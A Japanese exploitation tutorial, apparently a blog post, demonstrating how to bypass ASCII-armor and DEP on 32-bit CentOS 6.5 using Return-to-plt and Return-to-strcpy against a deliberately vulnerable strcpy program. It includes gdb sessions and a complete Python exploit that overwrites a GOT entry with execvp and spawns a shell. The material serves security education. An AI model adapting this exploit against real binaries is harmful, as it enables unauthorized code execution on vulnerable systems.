ASCII-armorとReturn-to-plt、Return-to-strcpyによるシェル起動
Red HatやCentOSなど、Exec-Shieldと呼ばれるセキュリティモジュールが利用されているOSには、ASCII-armorと呼ばれるセキュリティ機構が存在する。 ここでは、ASCII-armorの動作を確認し、Return-to-strcpy、Return-to-pltと呼ばれる方法によるシェル起動をやってみる。
環境
CentOS 6.5 32bit版
$ uname -a Linux vm-centos32 2.6.32-431.11.2.el6.i686 #1 SMP Tue Mar 25 17:17:46 UTC 2014 i686 i686 i386 GNU/Linux $ cat /etc/redhat-release CentOS release 6.5 (Final) $ gcc --version gcc (GCC) 4.4.7 20120313 (Red Hat 4.4.7-4)
脆弱性のあるプログラムを書いてみる
バッファサイズ100で、コマンドライン引数からスタックバッファオーバーフローが起こせるコードを書く。
/* bof.c */ #include <stdio.h> #include <string.h> int main(int argc, char *argv[]) { char buf[100]; strcpy(buf, argv[1]); puts(buf); return 0; }
ASLR、SSP無効、DEP有効としてコンパイルし、バッファオーバーフローが起こせることを確認する。
$ sudo sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space = 0 $ gcc -fno-stack-protector bof.c $ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) run $(python -c "print 'A'*100") Starting program: /home/user/tmp/a.out $(python -c "print 'A'*100") AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Program exited normally. Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.132.el6.i686 (gdb) run $(python -c "print 'A'*116") Starting program: /home/user/tmp/a.out $(python -c "print 'A'*116") AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) quit A debugging session is active. Inferior 1 [process 5067] will be killed. Quit anyway? (y or n) y
バッファの4ワード先にリターンアドレスがあり、バッファオーバーフローにより上書きできることがわかる。
ASCII-armorの動作を確認してみる
ASCII-armorはExec-Shieldの一機能として実装されている。 次のコマンドを実行し、0以外であればExec-Shieldが有効であり、ASCII-armorも有効になっている。
$ sysctl kernel.exec-shield kernel.exec-shield = 1
gdbでメモリ配置を確認してみる。
$ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) start Temporary breakpoint 1 at 0x80483f7 Starting program: /home/user/tmp/a.out Temporary breakpoint 1, 0x080483f7 in main () Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.132.el6.i686 (gdb) i proc map process 5079 cmdline = '/home/user/tmp/a.out' cwd = '/home/user/tmp' exe = '/home/user/tmp/a.out' Mapped address spaces: Start Addr End Addr Size Offset objfile 0x110000 0x12e000 0x1e000 0 /lib/ld-2.12.so 0x12e000 0x12f000 0x1000 0x1d000 /lib/ld-2.12.so 0x12f000 0x130000 0x1000 0x1e000 /lib/ld-2.12.so 0x130000 0x131000 0x1000 0 [vdso] 0x131000 0x2c2000 0x191000 0 /lib/libc-2.12.so 0x2c2000 0x2c4000 0x2000 0x191000 /lib/libc-2.12.so 0x2c4000 0x2c5000 0x1000 0x193000 /lib/libc-2.12.so 0x2c5000 0x2c8000 0x3000 0 0x8048000 0x8049000 0x1000 0 /home/user/tmp/a.out 0x8049000 0x804a000 0x1000 0 /home/user/tmp/a.out 0xb7ff8000 0xb7ff9000 0x1000 0 0xb7fff000 0xb8000000 0x1000 0 0xbffeb000 0xc0000000 0x15000 0 [stack] (gdb) quit A debugging session is active. Inferior 1 [process 5079] will be killed. Quit anyway? (y or n) y
共有ライブラリの置かれるアドレスが0x00XXXXXXといった小さいアドレスになっていることがわかる。 ASCII-armorはこのように0x00を含むアドレスにライブラリなどを配置することにより、Return-to-libcにおけるライブラリ関数へのジャンプを難しくする仕組みである。
Return-to-plt、Return-to-strcpy
ASCII-armorを回避する方法として、Return-to-pltと呼ばれる方法が知られている。 これは、実行ファイルが配置されるアドレスが固定であることを利用し、.pltセクションにジャンプすることで間接的にライブラリ関数を呼び出す方法である。 具体的にはReturn-to-libcにおいて、ライブラリ中のsystem関数に直接returnする代わりに実行ファイルの.pltセクションにあるsystem@plt関数にreturnする。
しかし、場合によってはsystem関数が実行ファイル中で使われておらず、system@plt関数が存在しないことがある。 このような場合には、puts@plt関数など他のPLT関数で参照されているGOTアドレスを書き換えた後、puts@plt関数にreturnするという方法が取られる。 GOTアドレスの書き換えには、Return-to-pltによりstrcpyやsnprintfを呼び出し、実行ファイル中のバイトを1バイトずつ転送するという方法が取られる。 このような方法は、Return-to-strcpyと呼ばれることがある。
エクスプロイトコードを書いてみる
上で説明した方法をもとに、エクスプロイトコードを書いてみる。 ただし、GOTアドレスをsystem関数に書き換えようとした場合、今回の環境ではアドレスに含まれる0xc2を実行ファイル中から見つけることができない。
$ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) start Temporary breakpoint 1 at 0x80483f7 Starting program: /home/user/tmp/a.out Temporary breakpoint 1, 0x080483f7 in main () Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.132.el6.i686 (gdb) p system $1 = {<text variable, no debug info>} 0x16c210 <system> (gdb) i proc map process 1230 cmdline = '/home/user/tmp/a.out' cwd = '/home/user/tmp' exe = '/home/user/tmp/a.out' Mapped address spaces: Start Addr End Addr Size Offset objfile 0x110000 0x12e000 0x1e000 0 /lib/ld-2.12.so 0x12e000 0x12f000 0x1000 0x1d000 /lib/ld-2.12.so 0x12f000 0x130000 0x1000 0x1e000 /lib/ld-2.12.so 0x130000 0x131000 0x1000 0 [vdso] 0x131000 0x2c2000 0x191000 0 /lib/libc-2.12.so 0x2c2000 0x2c4000 0x2000 0x191000 /lib/libc-2.12.so 0x2c4000 0x2c5000 0x1000 0x193000 /lib/libc-2.12.so 0x2c5000 0x2c8000 0x3000 0 0x8048000 0x8049000 0x1000 0 /home/user/tmp/a.out 0x8049000 0x804a000 0x1000 0 /home/user/tmp/a.out 0xb7ff8000 0xb7ff9000 0x1000 0 0xb7fff000 0xb8000000 0x1000 0 0xbffeb000 0xc0000000 0x15000 0 [stack] (gdb) find/1 0x8048000,0x804a000-1,(char)0xc2 Pattern not found. (gdb) quit A debugging session is active. Inferior 1 [process 1230] will be killed. Quit anyway? (y or n) y
そこで、書き換える先の関数としてsystem関数の代わりにexecvp関数を使うことにする。
$ man execvp EXEC(3) Linux Programmer’s Manual EXEC(3) NAME execl, execlp, execle, execv, execvp - execute a file SYNOPSIS #include <unistd.h> extern char **environ; int execl(const char *path, const char *arg, ...); int execlp(const char *file, const char *arg, ...); int execle(const char *path, const char *arg, ..., char * const envp[]); int execv(const char *path, char *const argv[]); int execvp(const char *file, char *const argv[]); DESCRIPTION The exec() family of functions replaces the current process image with a new process image. The functions described in this manual page are front-ends for execve(2). (See the manual page for execve(2) for further details about the replacement of the current process image.)
execvp関数は、実行ファイル名、実行ファイルに与える引数の配列を順に引数に取る。
そして、execv関数との違いとして、実行ファイル名について探索パスを順に辿って実行を試みる。
たとえば、次のようにexecvp関数に実行ファイル名としてsh
を与え呼び出すコードを書いてみる。
/* execvp.c */ #include <unistd.h> int main() { char *args[] = {"sh", NULL}; execvp(args[0], args); return 0; }
コンパイルし、straceコマンドでシステムコール呼び出しを追ってみると、次のようになる。
$ gcc execvp.c $ strace ./a.out execve("./a.out", ["./a.out"], [/* 26 vars */]) = 0 ... execve("/usr/local/bin/sh", ["sh"], [/* 26 vars */]) = -1 ENOENT (No such file or directory) execve("/bin/sh", ["sh"], [/* 26 vars */]) = 0 ...
探索パスを順に辿った結果、/bin/sh
がexecveシステムコールによって実行されていることが分かる。
以上をもとに、puts@plt関数が参照するGOTアドレスをexecvp関数のアドレスを1バイトずつ転送することによって書き換えた後、puts@plt関数にreturnするエクスプロイトコードを書くと次のようになる。 ここで、execvp関数の引数として与えるポインタが指すデータは、書き換えが可能なbssセグメントに1バイトずつ転送することによって準備する。 また、必要なバイトがどのアドレスにあるかは、gdbのfindコマンドを使って探す。
# exploit.py import sys import struct from subprocess import Popen bufsize = int(sys.argv[1]) addr_plt_strcpy = 0x08048314 # objdump -d -j.plt a.out addr_pop2 = 0x80483c3 # objdump -d a.out | grep -A1 pop addr_got_puts = 0x804968c # objdump -d -j.plt a.out addr_plt_puts = 0x08048324 # objdump -d -j.plt a.out addr_bss = 0x08049694 # readelf -S a.out def strcpy(dest, src): buf = struct.pack('<I', addr_plt_strcpy) buf += struct.pack('<I', addr_pop2) buf += struct.pack('<I', dest) buf += struct.pack('<I', src) return buf buf = 'A' * bufsize buf += 'AAAA' * 3 # (gdb) p execvp # $1 = {<text variable, no debug info>} 0x1d30f0 <execvp> buf += strcpy(addr_got_puts, 0x8048347) # (gdb) find/1 0x8048000,0x804a000-1,(char)0xf0 buf += strcpy(addr_got_puts+1, 0x80481ec) # (gdb) find/1 0x8048000,0x804a000-1,(char)0x30 buf += strcpy(addr_got_puts+2, 0x804839a) # (gdb) find/1 0x8048000,0x804a000-1,(char)0x1d buf += strcpy(addr_got_puts+3, 0x8048007) # (gdb) find/1 0x8048000,0x804a000-1,(char)0x00 buf += strcpy(addr_bss, 0x804838d) # (gdb) find/1 0x8048000,0x804a000-1,(char)0x9c buf += strcpy(addr_bss+1, 0x804828d) # (gdb) find/1 0x8048000,0x804a000-1,(char)0x96 buf += strcpy(addr_bss+2, 0x804801a) # (gdb) find/1 0x8048000,0x804a000-1,(char)0x04 buf += strcpy(addr_bss+3, 0x804801b) # (gdb) find/1 0x8048000,0x804a000-1,(char)0x08 buf += strcpy(addr_bss+4, 0x8048007) # (gdb) find/1 0x8048000,0x804a000-1,(char)0x00 buf += strcpy(addr_bss+5, 0x8048007) # (gdb) find/1 0x8048000,0x804a000-1,(char)0x00 buf += strcpy(addr_bss+6, 0x8048007) # (gdb) find/1 0x8048000,0x804a000-1,(char)0x00 buf += strcpy(addr_bss+7, 0x8048007) # (gdb) find/1 0x8048000,0x804a000-1,(char)0x00 buf += strcpy(addr_bss+8, 0x804870b) # (gdb) find/1 0x8048000,0x804a000-1,"sh" buf += struct.pack('<I', addr_plt_puts) buf += 'AAAA' buf += struct.pack('<I', addr_bss+8) buf += struct.pack('<I', addr_bss) with open('buf', 'wb') as f: f.write(buf) p = Popen(['./a.out', buf]) p.wait()
ASLRを無効にし再度コンパイルした上で、エクスプロイトコードを実行してみる。
$ sudo sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space = 0 $ gcc -fno-stack-protector bof.c $ python exploit.py 100 (snip) sh-4.1$ id uid=500(user) gid=500(user) groups=500(user) sh-4.1$ exit
ASCII-armorおよびDEPが有効な状況下で、Return-to-pltによりシェルが起動できていることが確認できた。